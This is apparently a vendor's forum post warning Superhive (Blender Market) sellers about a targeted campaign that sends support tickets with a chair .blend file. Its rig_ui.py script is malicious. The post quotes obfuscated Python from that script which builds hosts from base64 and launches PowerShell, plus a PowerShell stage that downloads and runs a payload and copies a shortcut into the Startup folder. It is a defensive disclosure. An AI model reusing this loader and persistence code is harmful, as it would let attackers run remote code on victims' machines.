In case anyone needs another reminder not to click untrusted links on the internet : This week Superhive (formerly Blender Market) vendors were the target of some malicious attacks. Many (myself included) received a legitimate-sounding support ticket asking for help with their product, probably AI-generated to target them specifically.
Attached to the ticket was a seemingly innocent blend file. A chair model. When opening the file, Blender asks if you want to execute “rig_ui.py”. Sure, why not? Many rigs in Blender are made with Python scripts.
Little do you know, this Python script (which even upon vague inspection appears to be a real rig UI) generates itself a Powershell script, and executes it.
# Bone constraint data
_z7 = [
"ZXCDEcG91cGF0aG9ja21pc3QxOTg5",
"_y2",
"FGHIJY2xvdWRhZGRvbnMxOTg3",
"_q1",
"KLMNOc2t5YWRkb25zMjAwMQ==",
[...]
# Constraint transform processor
def _m4x9(_v2):
_n5 = _x5.b64decode("[redacted]"[5:]).decode("utf-8")
_b6 = _x5.b64decode("[redacted]"[5:]).decode("utf-8")
_c7 = f"https://{_n5}.{{}}.{_b6}"
_d8 = 3
for _e9 in _z7:
if _e9.startswith("_"):
continue
try:
if len(_e9) < 5:
continue
_e9_decoded = _x5.b64decode(_e9[5:]).decode("utf-8")
except:
continue
_f0 = _c7.format(_e9_decoded)
_g1 = 1
while _g1 <= _d8:
try:
_h2 = _x3.get(_f0, timeout=10)
_h2.raise_for_status()
[...]
_n8 = _x2.run([_m7, "-Command", _l6], capture_output=True, text=True)
[...]
The Powershell script embeds and hides itself on your system, running on startup. What does it do? It downloads another script and automatically executes that every few seconds.
$s1 = "http://[redacted]/documents/kurs"
$z3 = "KursorResourcesV4.zip"
$t4 = "$env:TEMP"
$k5 = Join-Path -Path $t4 -ChildPath "KursorResourcesV4"
$a6 = "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup"
$w8 = New-Object System.Net.WebClient
try {
$l10 = Join-Path -Path $t4 -ChildPath $z3
$w8.DownloadFile("$s1/$z3", $l10)
if (Test-Path $l10) {
Add-Type -AssemblyName System.IO.Compression.FileSystem
[System.IO.Compression.ZipFile]::ExtractToDirectory($l10, $t4)
}
$p11 = Join-Path -Path $k5 -ChildPath "KursorResourcesV4.lnk"
while (-not (Test-Path $p11)) {
Start-Sleep -Seconds ([Math]::Pow(31, 1))
}
if (Test-Path $p11) {
Start-Process $p11 -WindowStyle Hidden
$s12 = Join-Path -Path $a6 -ChildPath "KursorResourcesV4.lnk"
Copy-Item $p11 -Destination $s12 -Force
}
Invoke-WebRequest -Uri "https://[redacted]" -UseBasicParsing | Out-Null
}
catch {}
finally {
$w8.Dispose()
}
What does that script do? The same thing - downloads another script, and executes it. And down the rabbit hole it goes for a few more similar scripts. Each layer is obfuscated, encrypted, and/or in another language (programming or literary), making it hard to tell what it does, other than “something sketchy”.
The last layer I could reach times out so I couldn’t see what this malware actually does, which is not to say it doesn’t do anything, but that the authors can remotely enable the service at any time, which will trigger your machine to run whatever code they want. Instantly. You won’t even know it’s happening.
What’s unnerving is how well it’s targeted at Superhive vendors with plausible DMs, and hidden in a way that’s difficult for most users to detect as part of the rig code. The only thing suspicious is that a static chair model with no armature has a rig script at all. Even the rig script seems plausible until you notice the obfuscated code with arbitrary variable names trying to masquerade as some kind of transform constraint system.
Fun stuff!
TLDR: Don’t click things you don’t trust.
